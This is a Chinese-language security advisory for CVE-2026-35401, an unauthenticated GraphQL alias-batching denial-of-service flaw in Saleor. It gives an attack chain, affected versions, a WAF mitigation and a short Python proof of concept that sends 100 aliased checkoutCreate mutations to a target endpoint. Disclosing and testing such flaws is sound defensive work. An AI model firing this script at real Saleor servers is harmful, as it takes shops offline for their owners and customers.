IPBUF安全漏洞报告
English
CVE-2026-35401 CVSS 7.5 高危

CVE-2026-35401 Saleor GraphQL资源耗尽漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-35401
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Saleor

相关标签

拒绝服务资源耗尽GraphQLSaleorCVE-2026-35401

漏洞概述

Saleor电子商务平台在特定版本中存在资源耗尽漏洞。攻击者无需经过身份验证,即可利用GraphQL的别名功能或链式调用机制,在单个API请求中包含大量的变更或查询操作。这种恶意请求会导致服务器过度消耗计算资源,从而引发拒绝服务,影响系统的可用性。

技术细节

该漏洞的核心在于GraphQL引擎对单个请求中包含的操作数量缺乏有效的限制机制。GraphQL允许用户通过别名在同一个请求中多次请求相同的字段,或者链接多个变更操作。攻击者通过构造包含成百上千个别名的恶意HTTP POST请求发送至/graphql端点,迫使后端服务器在解析和执行这些操作时消耗大量的CPU和内存。由于请求是单个HTTP连接,传统的基于连接频率的防护措施可能无法有效拦截,最终导致服务器响应缓慢甚至崩溃。

攻击链分析

STEP 1
侦察
识别目标Saleor系统,确认其GraphQL API端点位置及版本信息。
STEP 2
构造载荷
编写包含大量GraphQL别名或链式调用的恶意查询或变更语句。
STEP 3
发送请求
将恶意载荷封装在HTTP POST请求中发送至服务器端点。
STEP 4
资源耗尽
服务器处理请求时CPU和内存飙升,无法响应其他合法用户,达成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target GraphQL endpoint url = "http://target-url.com/graphql/" # Construct a malicious payload with multiple aliases # This simulates sending many mutations in one request aliases = [] for i in range(100): # Replace 'checkoutCreate' with a valid mutation from the schema aliases.append(f"op{i}: checkoutCreate(input: {{}}) {{ id }}") graphql_query = f"mutation {{ {', '.join(aliases)} }}" payload = { "query": graphql_query, "variables": {} } try: response = requests.post(url, json=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Saleor < 3.23.0a3
Saleor < 3.22.47
Saleor < 3.21.54
Saleor < 3.20.118

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理或WAF层部署规则,检测并拦截包含异常大量别名的GraphQL请求,或限制请求体的大小。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表